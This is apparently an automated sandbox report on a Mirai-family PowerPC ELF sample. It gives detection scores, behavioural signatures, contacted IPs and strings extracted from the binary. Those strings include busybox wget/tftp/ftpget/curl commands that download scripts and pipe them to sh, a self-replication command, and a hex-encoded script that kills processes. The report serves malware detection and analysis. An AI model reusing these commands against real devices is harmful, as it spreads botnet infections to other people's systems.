Linux Analysis Report
WAuEOdMm6J.elf

Overview

General Information

Sample name: WAuEOdMm6J.elf
renamed because original name is a hash value
Original sample name: 24008fd05ce860efb1e23fcc610c4d9c.elf
Analysis ID: 1432451
MD5: 24008fd05ce860efb1e23fcc610c4d9c
SHA1: 557c71728d9e0515c1ea7d5da7abed9a9f49f814
SHA256: ec83dae0c0acf943b2a32589b96639257a1f4b99e8700ae5f009c9f115433ff7
Tags: 32elfmiraipowerpc
Infos:

Detection

Score: 56
Range: 0 - 100
Whitelisted: false

Signatures

Multi AV Scanner detection for submitted file
Connects to many ports of the same IP (likely port scanning)
Uses known network protocols on non-standard ports
Detected TCP or UDP traffic on non-standard ports
Enumerates processes within the "proc" file system
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample listens on a socket
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

AV Detection

barindex
Source: WAuEOdMm6J.elf ReversingLabs: Detection: 55%
Source: WAuEOdMm6J.elf Virustotal: Detection: 34% Perma Link
Source: WAuEOdMm6J.elf String: incorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | shGET /dlr. HTTP/1.0

Networking

barindex
Source: global traffic TCP traffic: 5.181.80.130 ports 38241,1,2,3,4,8
Source: unknown Network traffic detected: HTTP traffic on port 23 -> 48020
Source: unknown Network traffic detected: HTTP traffic on port 23 -> 47834
Source: unknown Network traffic detected: HTTP traffic on port 23 -> 47834
Source: unknown Network traffic detected: HTTP traffic on port 23 -> 44518
Source: global traffic TCP traffic: 192.168.2.15:54876 -> 5.181.80.130:38241
Source: /tmp/WAuEOdMm6J.elf (PID: 5549) Socket: 127.0.0.1::39148 Jump to behavior
Source: unknown TCP traffic detected without corresponding DNS query: 184.76.50.118
Source: unknown TCP traffic detected without corresponding DNS query: 181.20.46.182
Source: unknown TCP traffic detected without corresponding DNS query: 160.127.129.135
Source: unknown TCP traffic detected without corresponding DNS query: 204.123.132.79
Source: unknown TCP traffic detected without corresponding DNS query: 53.184.117.142
Source: unknown TCP traffic detected without corresponding DNS query: 37.81.238.65
Source: unknown TCP traffic detected without corresponding DNS query: 77.17.220.8
Source: unknown TCP traffic detected without corresponding DNS query: 103.23.201.12
Source: unknown TCP traffic detected without corresponding DNS query: 77.96.38.41
Source: unknown TCP traffic detected without corresponding DNS query: 142.107.19.253
Source: unknown TCP traffic detected without corresponding DNS query: 124.73.146.191
Source: unknown TCP traffic detected without corresponding DNS query: 67.164.16.44
Source: unknown TCP traffic detected without corresponding DNS query: 180.202.88.117
Source: unknown TCP traffic detected without corresponding DNS query: 47.150.94.6
Source: unknown TCP traffic detected without corresponding DNS query: 95.236.170.232
Source: unknown TCP traffic detected without corresponding DNS query: 53.137.243.222
Source: unknown TCP traffic detected without corresponding DNS query: 160.135.88.36
Source: unknown TCP traffic detected without corresponding DNS query: 125.0.146.218
Source: unknown TCP traffic detected without corresponding DNS query: 148.71.134.60
Source: unknown TCP traffic detected without corresponding DNS query: 203.19.160.57
Source: unknown TCP traffic detected without corresponding DNS query: 126.38.8.242
Source: unknown TCP traffic detected without corresponding DNS query: 166.235.0.241
Source: unknown TCP traffic detected without corresponding DNS query: 48.6.95.187
Source: unknown TCP traffic detected without corresponding DNS query: 4.129.236.6
Source: unknown TCP traffic detected without corresponding DNS query: 135.42.78.223
Source: unknown TCP traffic detected without corresponding DNS query: 168.98.79.103
Source: unknown TCP traffic detected without corresponding DNS query: 25.125.103.12
Source: unknown TCP traffic detected without corresponding DNS query: 129.86.161.137
Source: unknown TCP traffic detected without corresponding DNS query: 141.94.184.22
Source: unknown TCP traffic detected without corresponding DNS query: 221.160.11.20
Source: unknown TCP traffic detected without corresponding DNS query: 155.143.141.84
Source: unknown TCP traffic detected without corresponding DNS query: 149.247.133.76
Source: unknown TCP traffic detected without corresponding DNS query: 200.152.240.101
Source: unknown TCP traffic detected without corresponding DNS query: 195.147.127.202
Source: unknown TCP traffic detected without corresponding DNS query: 167.104.40.222
Source: unknown TCP traffic detected without corresponding DNS query: 44.190.161.72
Source: unknown TCP traffic detected without corresponding DNS query: 150.208.94.115
Source: unknown TCP traffic detected without corresponding DNS query: 80.153.191.185
Source: unknown TCP traffic detected without corresponding DNS query: 102.14.121.114
Source: unknown TCP traffic detected without corresponding DNS query: 13.135.112.187
Source: unknown TCP traffic detected without corresponding DNS query: 98.160.157.162
Source: unknown TCP traffic detected without corresponding DNS query: 137.173.209.31
Source: unknown TCP traffic detected without corresponding DNS query: 184.58.8.93
Source: unknown TCP traffic detected without corresponding DNS query: 167.137.171.5
Source: unknown TCP traffic detected without corresponding DNS query: 11.158.126.156
Source: unknown TCP traffic detected without corresponding DNS query: 8.194.35.222
Source: unknown TCP traffic detected without corresponding DNS query: 99.178.15.104
Source: unknown TCP traffic detected without corresponding DNS query: 198.145.107.50
Source: unknown TCP traffic detected without corresponding DNS query: 82.164.200.164
Source: unknown TCP traffic detected without corresponding DNS query: 101.11.236.51
Source: global traffic DNS traffic detected: DNS query: hiakamai.dyn
Source: WAuEOdMm6J.elf String found in binary or memory: http:///curl.sh
Source: WAuEOdMm6J.elf String found in binary or memory: http:///wget.sh
Source: Initial sample String containing 'busybox' found: /bin/busybox
Source: Initial sample String containing 'busybox' found: usage: busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox hostname PBOC
Source: Initial sample String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample String containing 'busybox' found: /wget.sh -O- | sh;/bin/busybox tftp -g
Source: Initial sample String containing 'busybox' found: -r tftp.sh -l- | sh;/bin/busybox ftpget
Source: Initial sample String containing 'busybox' found: /bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrep
Source: Initial sample String containing 'busybox' found: incorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | shGET /dlr. HTTP/1.0
Source: Initial sample String containing 'busybox' found: > .d/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrepThe People's/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x20\x5D""\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64\x22\x0A\x20\x20""\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4
Source: ELF static info symbol of initial sample .symtab present: no
Source: classification engine Classification label: mal56.troj.linELF@0/112@1/0
Source: /tmp/WAuEOdMm6J.elf (PID: 5555) File opened: /proc/5580/maps Jump to behavior
Source: /tmp/WAuEOdMm6J.elf (PID: 5555) File opened: /proc/5580/cmdline Jump to behavior
Source: /tmp/WAuEOdMm6J.elf (PID: 5555) File opened: /proc/5580/maps Jump to behavior
Source: /tmp/WAuEOdMm6J.elf (PID: 5555) File opened: /proc/5580/cmdline Jump to behavior
Source: /tmp/WAuEOdMm6J.elf (PID: 5555) File opened: /proc/5581/maps Jump to behavior
Source: /tmp/WAuEOdMm6J.elf (PID: 5555) File opened: /proc/5581/cmdline Jump to behavior
Source: /tmp/WAuEOdMm6J.elf (PID: 5555) File opened: /proc/5581/maps Jump to behavior
Source: /tmp/WAuEOdMm6J.elf (PID: 5555) File opened: /proc/5581/cmdline Jump to behavior
Source: /tmp/WAuEOdMm6J.elf (PID: 5555) File opened: /proc/5571/maps Jump to behavior
Source: /tmp/WAuEOdMm6J.elf (PID: 5555) File opened: /proc/5571/cmdline Jump to behavior
Source: /tmp/WAuEOdMm6J.elf (PID: 5555) File opened: /proc/5582/maps Jump to behavior
Source: /tmp/WAuEOdMm6J.elf (PID: 5555) File opened: /proc/5582/cmdline Jump to behavior
Source: /tmp/WAuEOdMm6J.elf (PID: 5555) File opened: /proc/5582/maps Jump to behavior
Source: /tmp/WAuEOdMm6J.elf (PID: 5555) File opened: /proc/5582/cmdline Jump to behavior
Source: /tmp/WAuEOdMm6J.elf (PID: 5555) File opened: /proc/5572/maps Jump to behavior
Source: /tmp/WAuEOdMm6J.elf (PID: 5555) File opened: /proc/5572/cmdline Jump to behavior
Source: /tmp/WAuEOdMm6J.elf (PID: 5555) File opened: /proc/5583/maps Jump to behavior
Source: /tmp/WAuEOdMm6J.elf (PID: 5555) File opened: /proc/5583/cmdline Jump to behavior
Source: /tmp/WAuEOdMm6J.elf (PID: 5555) File opened: /proc/5583/maps Jump to behavior
Source: /tmp/WAuEOdMm6J.elf (PID: 5555) File opened: /proc/5583/cmdline Jump to behavior
Source: /tmp/WAuEOdMm6J.elf (PID: 5555) File opened: /proc/5573/maps Jump to behavior
Source: /tmp/WAuEOdMm6J.elf (PID: 5555) File opened: /proc/5573/cmdline Jump to behavior
Source: /tmp/WAuEOdMm6J.elf (PID: 5555) File opened: /proc/5584/maps Jump to behavior
Source: /tmp/WAuEOdMm6J.elf (PID: 5555) File opened: /proc/5584/cmdline Jump to behavior
Source: /tmp/WAuEOdMm6J.elf (PID: 5555) File opened: /proc/5584/maps Jump to behavior
Source: /tmp/WAuEOdMm6J.elf (PID: 5555) File opened: /proc/5584/cmdline Jump to behavior
Source: /tmp/WAuEOdMm6J.elf (PID: 5555) File opened: /proc/5574/maps Jump to behavior
Source: /tmp/WAuEOdMm6J.elf (PID: 5555) File opened: /proc/5574/cmdline Jump to behavior
Source: /tmp/WAuEOdMm6J.elf (PID: 5555) File opened: /proc/5585/maps Jump to behavior
Source: /tmp/WAuEOdMm6J.elf (PID: 5555) File opened: /proc/5585/cmdline Jump to behavior
Source: /tmp/WAuEOdMm6J.elf (PID: 5555) File opened: /proc/5585/maps Jump to behavior
Source: /tmp/WAuEOdMm6J.elf (PID: 5555) File opened: /proc/5585/cmdline Jump to behavior
Source: /tmp/WAuEOdMm6J.elf (PID: 5555) File opened: /proc/5575/maps Jump to behavior
Source: /tmp/WAuEOdMm6J.elf (PID: 5555) File opened: /proc/5575/cmdline Jump to behavior
Source: /tmp/WAuEOdMm6J.elf (PID: 5555) File opened: /proc/5586/maps Jump to behavior
Source: /tmp/WAuEOdMm6J.elf (PID: 5555) File opened: /proc/5586/cmdline Jump to behavior
Source: /tmp/WAuEOdMm6J.elf (PID: 5555) File opened: /proc/5586/maps Jump to behavior
Source: /tmp/WAuEOdMm6J.elf (PID: 5555) File opened: /proc/5586/cmdline Jump to behavior
Source: /tmp/WAuEOdMm6J.elf (PID: 5555) File opened: /proc/5576/maps Jump to behavior
Source: /tmp/WAuEOdMm6J.elf (PID: 5555) File opened: /proc/5576/cmdline Jump to behavior
Source: /tmp/WAuEOdMm6J.elf (PID: 5555) File opened: /proc/5576/maps Jump to behavior
Source: /tmp/WAuEOdMm6J.elf (PID: 5555) File opened: /proc/5576/cmdline Jump to behavior
Source: /tmp/WAuEOdMm6J.elf (PID: 5555) File opened: /proc/5587/maps Jump to behavior
Source: /tmp/WAuEOdMm6J.elf (PID: 5555) File opened: /proc/5587/cmdline Jump to behavior
Source: /tmp/WAuEOdMm6J.elf (PID: 5555) File opened: /proc/5587/maps Jump to behavior
Source: /tmp/WAuEOdMm6J.elf (PID: 5555) File opened: /proc/5587/cmdline Jump to behavior
Source: /tmp/WAuEOdMm6J.elf (PID: 5555) File opened: /proc/5577/maps Jump to behavior
Source: /tmp/WAuEOdMm6J.elf (PID: 5555) File opened: /proc/5577/cmdline Jump to behavior
Source: /tmp/WAuEOdMm6J.elf (PID: 5555) File opened: /proc/5577/maps Jump to behavior
Source: /tmp/WAuEOdMm6J.elf (PID: 5555) File opened: /proc/5577/cmdline Jump to behavior
Source: /tmp/WAuEOdMm6J.elf (PID: 5555) File opened: /proc/5588/maps Jump to behavior
Source: /tmp/WAuEOdMm6J.elf (PID: 5555) File opened: /proc/5588/cmdline Jump to behavior
Source: /tmp/WAuEOdMm6J.elf (PID: 5555) File opened: /proc/5588/maps Jump to behavior
Source: /tmp/WAuEOdMm6J.elf (PID: 5555) File opened: /proc/5588/cmdline Jump to behavior
Source: /tmp/WAuEOdMm6J.elf (PID: 5555) File opened: /proc/5578/maps Jump to behavior
Source: /tmp/WAuEOdMm6J.elf (PID: 5555) File opened: /proc/5578/cmdline Jump to behavior
Source: /tmp/WAuEOdMm6J.elf (PID: 5555) File opened: /proc/5578/maps Jump to behavior
Source: /tmp/WAuEOdMm6J.elf (PID: 5555) File opened: /proc/5578/cmdline Jump to behavior
Source: /tmp/WAuEOdMm6J.elf (PID: 5555) File opened: /proc/5589/maps Jump to behavior
Source: /tmp/WAuEOdMm6J.elf (PID: 5555) File opened: /proc/5589/cmdline Jump to behavior
Source: /tmp/WAuEOdMm6J.elf (PID: 5555) File opened: /proc/5589/maps Jump to behavior
Source: /tmp/WAuEOdMm6J.elf (PID: 5555) File opened: /proc/5589/cmdline Jump to behavior
Source: /tmp/WAuEOdMm6J.elf (PID: 5555) File opened: /proc/5579/maps Jump to behavior
Source: /tmp/WAuEOdMm6J.elf (PID: 5555) File opened: /proc/5579/cmdline Jump to behavior
Source: /tmp/WAuEOdMm6J.elf (PID: 5555) File opened: /proc/5579/maps Jump to behavior
Source: /tmp/WAuEOdMm6J.elf (PID: 5555) File opened: /proc/5579/cmdline Jump to behavior
Source: /tmp/WAuEOdMm6J.elf (PID: 5555) File opened: /proc/5559/maps Jump to behavior
Source: /tmp/WAuEOdMm6J.elf (PID: 5555) File opened: /proc/5559/cmdline Jump to behavior
Source: /tmp/WAuEOdMm6J.elf (PID: 5555) File opened: /proc/5559/maps Jump to behavior
Source: /tmp/WAuEOdMm6J.elf (PID: 5555) File opened: /proc/5559/cmdline Jump to behavior

Hooking and other Techniques for Hiding and Protection

barindex
Source: unknown Network traffic detected: HTTP traffic on port 23 -> 48020
Source: unknown Network traffic detected: HTTP traffic on port 23 -> 47834
Source: unknown Network traffic detected: HTTP traffic on port 23 -> 47834
Source: unknown Network traffic detected: HTTP traffic on port 23 -> 44518
Source: /tmp/WAuEOdMm6J.elf (PID: 5549) Queries kernel information via 'uname': Jump to behavior
Source: WAuEOdMm6J.elf, 5549.1.00007fff4a1db000.00007fff4a1fc000.rw-.sdmp, WAuEOdMm6J.elf, 5553.1.00007fff4a1db000.00007fff4a1fc000.rw-.sdmp Binary or memory string: Sx86_64/usr/bin/qemu-ppc/tmp/WAuEOdMm6J.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/WAuEOdMm6J.elf
Source: WAuEOdMm6J.elf, 5549.1.000055ba3fe97000.000055ba3ff47000.rw-.sdmp, WAuEOdMm6J.elf, 5553.1.000055ba3fe97000.000055ba3ff47000.rw-.sdmp Binary or memory string: !/etc/qemu-binfmt/ppc1
Source: WAuEOdMm6J.elf, 5549.1.000055ba3fe97000.000055ba3ff47000.rw-.sdmp, WAuEOdMm6J.elf, 5553.1.000055ba3fe97000.000055ba3ff47000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/ppc
Source: WAuEOdMm6J.elf, 5549.1.00007fff4a1db000.00007fff4a1fc000.rw-.sdmp, WAuEOdMm6J.elf, 5553.1.00007fff4a1db000.00007fff4a1fc000.rw-.sdmp Binary or memory string: /usr/bin/qemu-ppc
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs